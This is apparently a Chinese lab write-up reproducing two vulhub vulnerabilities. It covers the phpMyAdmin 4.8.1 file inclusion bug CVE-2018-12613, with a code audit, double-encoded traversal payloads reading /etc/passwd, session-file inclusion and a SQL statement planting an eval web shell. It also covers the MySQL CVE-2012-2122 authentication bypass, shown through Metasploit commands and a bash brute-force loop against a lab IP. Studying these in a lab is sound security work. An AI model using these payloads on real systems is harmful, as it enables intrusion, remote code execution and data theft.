vulhub漏洞复现

(phpmyadmin 4.8.1) 远程文件包含漏洞(CVE-2018-12613)

参考:http://t.csdn.cn/rY8Is
http://t.csdn.cn/hzEgj

代码审计

  • index.php 文件中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$target_blacklist = array (
'import.php', 'export.php'
);

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
  1. target 传入不能为空
  2. target 必须是一个字符串
  3. target 不能以 index 开头
  4. target 不能在数组 target_blacklist 中。黑名单判断,在 index.php 中已经定义好了 target_blacklist 的值,它们是 import.php 和 export.php
  5. target 经过 checkPageValidit 检查后为真
  • ibraries\classes\Core.php 文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

return false;
}

进入函数首先会判断 whitelist 是否为空,如果为空则将定义的 goto_whitelist 赋值给 whitelist

  • goto_whitelist()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
'db_importdocsql.php',
'db_multi_table_query.php',
'db_structure.php',
'db_import.php',
'db_operations.php',
'db_search.php',
'db_routines.php',
'export.php',
'import.php',
'index.php',
'pdf_pages.php',
'pdf_schema.php',
'server_binlog.php',
'server_collations.php',
'server_databases.php',
'server_engines.php',
'server_export.php',
'server_import.php',
'server_privileges.php',
'server_sql.php',
'server_status.php',
'server_status_advisor.php',
'server_status_monitor.php',
'server_status_queries.php',
'server_status_variables.php',
'server_variables.php',
'sql.php',
'tbl_addfield.php',
'tbl_change.php',
'tbl_create.php',
'tbl_import.php',
'tbl_indexes.php',
'tbl_sql.php',
'tbl_export.php',
'tbl_operations.php',
'tbl_structure.php',
'tbl_relation.php',
'tbl_replace.php',
'tbl_row_action.php',
'tbl_select.php',
'tbl_zoom_select.php',
'transformation_overview.php',
'transformation_wrapper.php',
'user_password.php',
);
  1. 如果 page 在白名单中就会直接 return true
  2. target 有参数的情况,只要 $_page 在白名单中就直接 return true。但还考虑了 url 编码的情况,所以如果这步判断未成功,下一步又进行 url 解码。
1
例如:传入“?target=db_datadict.php%253f ”,由于服务器会自动解码一次,所以在checkPageValidity()中,page的值一开始会是“db_datadict.php%3f”,又一次url解码后变成了“db_datadict.php?”,这时符合了?前内容在白名单的要求,函数返回true。
  1. 注意: include $_REQUEST['target']; 接收的参数是只进行了一次服务器解码。通过目录穿越,就可造成任意文件包含。

一句话木马

访问 http://localhost:8080/index.php?target=db_sql.php%253f/…/…/…/…/…/…/…/…/etc/passwd,可见 /etc/passwd 被读取,说明文件包含漏洞存在:

  • 文件包含漏洞验证
1
payload:http://0.0.0.0.:8088/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
  • 在 server_sql.php 页面执行 select ‘
  1. php 生成 session 时,会生成在 /tmp 目录下,且以 sess_ 开头.session 文件的值也就对应了 HTTP 请求 Cookie 中 phpMyAdmin 的值。比如刚才的 SQL 语句被记录下来,在服务器解析该文件时,会被当作 php 代码执行。尝试包含 session 文件。
1
payload:http://0.0.0.0/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_88f1f51a7137d02138f3a2c66629a1eb


可以看到顺利执行了 phpinfo ()

获取数据库权限,种植后门

  1. 首先从 phpinfo () 中查看 web 路径
  2. 构造 payload
1
payload:select "<?php file_put_contents('/var/www/html/shell.php','<?php @eval($_POST[cmd]);?>')?>"
  1. 再次利用 session 包含文件
1
payload:http://0.0.0.0/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_88f1f51a7137d02138f3a2c66629a1eb
  1. 访问 http://x.x.x.x/shell.php
    空白页面
  2. 使用蚁剑连接

(Mysql) 身份认证绕过漏洞(CVE-2012-2122)

参考:http://t.csdn.cn/X9xAM

漏洞原理

  1. 只要知道用户名,不断尝试就能够直接登入,类似爆破思想
  2. 当连接 MariaDB/MySQL 时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是 memcmp () 返回一个非零值,也会使 MySQL 认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入 SQL 数据库。
  3. 个人感觉应该是代码逻辑问题

Metasploit

  • 查看端口
    docker ps
  • 靶机 IP 地址
    ifconfig
  • 启动 Metasploit
  1. msfconsole
  2. search CVE-2012-2122
  3. use auxiliary/scanner/mysql/mysql_authbypass_hashdump
  4. show options
  5. 根据 options 设置攻击靶机和线程
    set rhosts 192.168.21.132
    set threads 100
  6. 开始攻击
    run
  • 结过
    没扫出来捏,我看好多博主也失败了,不知道什么原因。

Bash

Bash 是一个命令处理器,通常运行于文本窗口中,并能执行用户直接输入的命令。Bash 还能从文件中读取命令,这样的文件称为脚本。

  • seq
1
2
3
4
用法:seq [选项]... 尾数
 或:seq [选项]... 首数 尾数
 或:seq [选项]... 首数 增量 尾数
以指定增量从首数开始打印数字到尾数。
  • 构造脚本
1
for i in `seq 1 1000`; do mysql -uroot -pwrong -h 192.168.21.132 -P3306 ; done

访问量 访客